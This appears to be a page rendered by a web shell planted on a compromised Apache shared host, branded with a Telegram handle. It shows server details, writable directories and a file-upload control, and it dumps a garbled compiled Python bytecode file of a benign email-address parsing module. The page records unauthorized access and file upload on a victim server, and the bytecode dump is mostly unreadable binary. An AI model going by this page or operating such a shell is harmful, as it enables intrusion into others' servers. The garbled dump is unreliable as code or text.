https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/future/backports/email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/future/backports/email/__pycache__/_parseaddr.cpython-310.pyc
o

,�]�C�@s�dZddlmZddlmZddlmZddlmZddlmZgd�Zddl	Z	ddl
Z
d	Zd
ZdZ
gd�Zgd
�Zddddddddddddddd�Zdd�Zdd�Zdd�Zdd�Zdd�ZGdd �d e�ZGd!d"�d"e�ZdS)#zcEmail address parsing code.

Lifted directly from rfc822.py.  This should eventually be rewritten.
�)�unicode_literals)�print_function)�division)�absolute_import)�int)�	mktime_tz�	parsedate�parsedate_tz�quoteN� �z, )�jan�feb�mar�apr�may�jun�jul�aug�sep�oct�nov�dec�january�february�march�aprilr�june�july�august�	september�october�november�december)�mon�tue�wed�thu�fri�sat�sunip���i���i���i����iD���i��)�UT�UTC�GMT�Z�AST�ADT�EST�EDT�CST�CDT�MST�MDT�PST�PDTcCs,t|�}|sdS|ddurd|d<t|�S)zQConvert a date string to a time tuple.

    Accounts for military timezones.
    N�	r)�
_parsedate_tz�tuple)�data�res�r>�C/usr/lib/python3/dist-packages/future/backports/email/_parseaddr.pyr	3sr	c
Cs�|sdS|��}|d�d�s|d��tvr|d=n|d�d�}|dkr2|d|dd�|d<t|�dkrM|d�d�}t|�dkrM||dd�}t|�dkr|d}|�d�}|d	kre|�d�}|dkrz|d|�||d�g|dd�<n|�d
�t|�dkr�dS|dd�}|\}}}}}|��}|tvr�||��}}|tvr�dSt�	|�d}|dkr�|d8}|d	dkr�|dd	�}|�d
�}|dkr�||}}|d	dkr�|dd	�}|d�
�s�||}}|d	dkr�|dd	�}|�d
�}t|�dk�r|\}	}
d}n?t|�dk�r|\}	}
}n2t|�dk�rEd|dv�rE|d�d�}t|�dk�r8|\}	}
d}nt|�dk�rD|\}	}
}ndSzt|�}t|�}t|	�}	t|
�}
t|�}Wnt�yhYdSw|dk�r||dk�rx|d7}n|d7}d}|�
�}|tv�r�t|}nzt|�}Wn
t�y�Ynw|dk�r�|�d��r�d}|�r�|dk�r�d	}
|}nd}
|
|dd|dd}||||	|
|ddd	|g
S)a�Convert date to extended time tuple.

    The last (additional) element is the time zone offset in seconds, except if
    the timezone was specified as -0000.  In that case the last element is
    None.  This indicates a UTC timestamp that explicitly declaims knowledge of
    the source timezone, as opposed to a +0000 timestamp that indicates the
    source timezone really was UTC.

    Nr�,���-��+���r���:��0�.�d�Dili�i�<)�split�endswith�lower�	_daynames�rfind�len�find�append�_monthnames�index�isdigitr�
ValueError�upper�
_timezones�
startswith)r<�i�stuff�s�dd�mm�yy�tm�tz�thh�tmm�tss�tzoffset�tzsignr>r>r?r:?s�


"





��




�
r:cCs"t|�}t|t�r|dd�S|S)z&Convert a time string to a time tuple.Nr9)r	�
isinstancer;�r<�tr>r>r?r�s
rcCs8|ddurt�|dd�d�St�|�}||dS)zETurn a 10-tuple as returned by parsedate_tz() into a POSIX timestamp.r9N�)rF)�time�mktime�calendar�timegmrmr>r>r?r�s
rcCs|�dd��dd�S)z�Prepare string to be used in a quoted string.

    Turns backslash and double quote characters into quoted pairs.  These
    are the only characters that need to be quoted inside a quoted string.
    Does not add the surrounding double quotes.
    �\z\\�"z\")�replace)�strr>r>r?r
�sr
c@s|eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
ddd�Zdd�Zdd�Z
dd�Zddd�Zdd�ZdS) �
AddrlistClassaAddress parser class by Ben Escoto.

    To understand what this class does, it helps to have a copy of RFC 2822 in
    front of you.

    Note: this class interface is deprecated and may be removed in the future.
    Use email.utils.AddressList instead.
    cCsZd|_d|_d|_d|_|j|j|_|j|j|j|_|j�dd�|_||_g|_	dS)z�Initialize a new instance.

        `field' is an unparsed address header field, containing
        one or more addresses.
        z()<>@,:;."[]rz 	z
rLrN)
�specials�pos�LWS�CR�FWS�atomendsrv�
phraseends�field�commentlist��selfr�r>r>r?�__init__�s
zAddrlistClass.__init__cCs�g}|jt|j�krH|j|j|jdvr.|j|jdvr&|�|j|j�|jd7_n|j|jdkr?|j�|���nn|jt|j�ks
t�|�S)z&Skip white space and extract comments.z

rA�()	rzrUr�r{rWr��
getcomment�EMPTYSTRING�join)r��wslistr>r>r?�gotonext�s�
	zAddrlistClass.gotonextcCsHg}|jt|j�kr"|��}|r||7}n|�d�|jt|j�ks
|S)zVParse all addresses.

        Returns a list containing all of the addresses.
        )rr)rzrUr��
getaddressrW)r��result�adr>r>r?�getaddrlist�s

�zAddrlistClass.getaddrlistcCs�g|_|��|j}|j}|��}|��g}|jt|j�kr-|r,t�|j�|dfg}n�|j|jdvrI||_||_|��}t�|j�|fg}n�|j|jdkr�g}t|j�}|jd7_|jt|j�kr�|��|j|kr�|j|jdkr�|jd7_n||�	�}|jt|j�ksgnI|j|jdkr�|�
�}|jr�t�|�dd�|j�d	|fg}n't�|�|fg}n|r�t�|j�|dfg}n|j|j|jvr�|jd7_|��|jt|j�kr�|j|jd
kr�|jd7_|S)zParse the next address.rz.@rIrA�;�<z (r�)r@)r�r�rz�
getphraselistrUr��SPACEr��getaddrspecr��getrouteaddrry)r��oldpos�oldcl�plist�
returnlist�addrspec�fieldlen�	routeaddrr>r>r?r�
s^�
��
��� zAddrlistClass.getaddresscCs�|j|jdkr
dSd}|jd7_|��d}|jt|j�krx|r*|��d}nB|j|jdkr<|jd7_	|S|j|jdkrN|jd7_d}n|j|jd	kr^|jd7_n|��}|jd7_	|S|��|jt|j�ks!|S)
z�Parse a route address (Return-path value).

        This method just skips all the route stuff and returns the addrspec.
        r�NFrAr�>�@TrI)r�rzr�rU�	getdomainr�)r��expectroute�adlistr>r>r?r�Es4���zAddrlistClass.getrouteaddrcCsNg}|��|jt|j�kryd}|j|jdkr3|r$|d��s$|��|�d�|jd7_d}n1|j|jdkrG|�dt|����n|j|j|j	vr]|r\|d��s\|��n|�|�
��|��}|rq|rq|�|�|jt|j�ks|jt|j�ks�|j|jdkr�t�|�S|�d�|jd7_|��t�|�|�
�S)	zParse an RFC 2822 addr-spec.TrLrFrAFruz"%s"r�)r�rzrUr��strip�poprWr
�getquoter~�getatomr�r�r�)r��aslist�preserve_ws�wsr>r>r?r�es6

� 

zAddrlistClass.getaddrspeccCs�g}|jt|j�krj|j|j|jvr|jd7_nG|j|jdkr,|j�|���n6|j|jdkr<|�|���n&|j|jdkrQ|jd7_|�d�n|j|j|jvr[n|�|�	��|jt|j�ks
t
�|�S)z-Get the complete domain name from an address.rAr��[rL)rzrUr�r{r�rWr��getdomainliteralr~r�r�r�)r��sdlistr>r>r?r��s �
zAddrlistClass.getdomainTcCs�|j|j|kr
dSdg}d}|jd7_|jt|j�krq|r,|�|j|j�d}n6|j|j|vr<|jd7_n5|rN|j|jdkrN|�|���q|j|jdkrYd}n	|�|j|j�|jd7_|jt|j�kst�|�S)a�Parse a header fragment delimited by special characters.

        `beginchar' is the start character for the fragment.
        If self is not looking at an instance of `beginchar' then
        getdelimited returns the empty string.

        `endchars' is a sequence of allowable end-delimiting characters.
        Parsing stops when one of these is encountered.

        If `allowcomments' is non-zero, embedded RFC 2822 comments are allowed
        within the parsed fragment.
        rFrAr�rtT)r�rzrUrWr�r�r�)r��	beginchar�endchars�
allowcomments�slistr
r>r>r?�getdelimited�s*
�
zAddrlistClass.getdelimitedcC�|�ddd�S)z1Get a quote-delimited fragment from self's field.ruz"
F�r��r�r>r>r?r���zAddrlistClass.getquotecCr�)z7Get a parenthesis-delimited fragment from self's field.r�z)
Tr�r�r>r>r?r��r�zAddrlistClass.getcommentcCsd|�ddd�S)z!Parse an RFC 2822 domain-literal.z[%s]r�z]
Fr�r�r>r>r?r��szAddrlistClass.getdomainliteralNcCspdg}|dur
|j}|jt|j�kr3|j|j|vrn|�|j|j�|jd7_|jt|j�kst�|�S)aParse an RFC 2822 atom.

        Optional atomends specifies a different set of end token delimiters
        (the default is to use self.atomends).  This is used e.g. in
        getphraselist() since phrase endings must not include the `.' (which
        is legal in phrases).rNrA)r~rzrUr�rWr�r�)r�r~�atomlistr>r>r?r��s�
zAddrlistClass.getatomcCs�g}|jt|j�krY|j|j|jvr|jd7_n6|j|jdkr+|�|���n&|j|jdkr<|j�|���n|j|j|jvrH	|S|�|�	|j��|jt|j�ks
|S)z�Parse a sequence of RFC 2822 phrases.

        A phrase is a sequence of words, which are in turn either RFC 2822
        atoms or quoted-strings.  Phrases are canonicalized by squeezing all
        runs of continuous whitespace into one space.
        rArur�)
rzrUr�r}rWr�r�r�rr�)r�r�r>r>r?r��s��zAddrlistClass.getphraselist)T�N)�__name__�
__module__�__qualname__�__doc__r�r�r�r�r�r�r�r�r�r�r�r�r�r>r>r>r?rx�s	; !
%
rxc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�AddressListz@An AddressList encapsulates a list of parsed RFC 2822 addresses.cCs(t�||�|r|��|_dSg|_dSr�)rxr�r��addresslistr�r>r>r?r��s
zAddressList.__init__cCs
t|j�Sr�)rUr�r�r>r>r?�__len__�s
zAddressList.__len__cCs>td�}|jdd�|_|jD]
}||jvr|j�|�q|Sr��r�r�rW�r��other�newaddr�xr>r>r?�__add__s

�zAddressList.__add__cCs&|jD]
}||jvr|j�|�q|Sr�)r�rW�r�r�r�r>r>r?�__iadd__
�


�zAddressList.__iadd__cCs.td�}|jD]
}||jvr|j�|�q|Sr�r�r�r>r>r?�__sub__s

�zAddressList.__sub__cCs&|jD]
}||jvr|j�|�q|Sr�)r��remover�r>r>r?�__isub__r�zAddressList.__isub__cCs
|j|Sr�)r�)r�rYr>r>r?�__getitem__ s
zAddressList.__getitem__N)r�r�r�r�r�r�r�r�r�r�r�r>r>r>r?r��s	r�)r��
__future__rrrr�future.builtinsr�__all__rprrr�r��
COMMASPACErXrSr]r	r:rrr
�objectrxr�r>r>r>r?�<module>s:�	u	

&

https://t.me/RX1948 - 2025